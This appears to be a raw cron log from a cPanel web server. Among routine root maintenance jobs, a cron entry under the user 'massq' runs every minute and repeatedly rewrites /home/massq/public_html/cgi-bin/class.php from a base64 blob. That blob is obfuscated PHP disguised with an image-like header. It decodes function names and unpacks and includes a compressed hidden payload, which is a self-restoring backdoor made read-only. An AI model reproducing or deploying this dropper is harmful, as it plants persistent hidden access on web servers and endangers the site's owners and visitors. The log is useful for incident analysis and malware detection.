Sep  2 15:20:01 server CROND[12687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:20:01 server CROND[12686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:20:01 server CROND[12684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:20:01 server CROND[12685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:20:01 server CROND[12688]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:21:01 server CROND[13598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:21:01 server CROND[13599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:21:01 server CROND[13600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:22:01 server CROND[13993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:22:01 server CROND[13994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:22:01 server CROND[13995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:23:01 server CROND[14386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:23:01 server CROND[14387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:23:01 server CROND[14388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:24:01 server CROND[14759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:24:01 server CROND[14760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:24:01 server CROND[14761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:25:01 server CROND[15150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:25:01 server CROND[15156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:25:01 server CROND[15159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:25:01 server CROND[15160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:25:01 server CROND[15157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:25:01 server CROND[15158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:25:01 server CROND[15161]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:26:01 server CROND[16069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:26:01 server CROND[16070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:26:01 server CROND[16071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:27:01 server CROND[16451]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:27:01 server CROND[16452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:27:01 server CROND[16454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:27:01 server CROND[16453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:28:02 server CROND[16827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:28:02 server CROND[16828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:28:02 server CROND[16829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:29:01 server CROND[17202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:29:01 server CROND[17203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:29:01 server CROND[17201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:30:01 server CROND[17585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:30:01 server CROND[17588]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:30:01 server CROND[17592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:30:01 server CROND[17587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 15:30:01 server CROND[17591]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 15:30:01 server CROND[17589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:30:01 server CROND[17594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:30:01 server CROND[17590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:31:01 server CROND[18515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:31:01 server CROND[18516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 15:31:01 server CROND[18517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:32:01 server CROND[18892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:32:01 server CROND[18893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
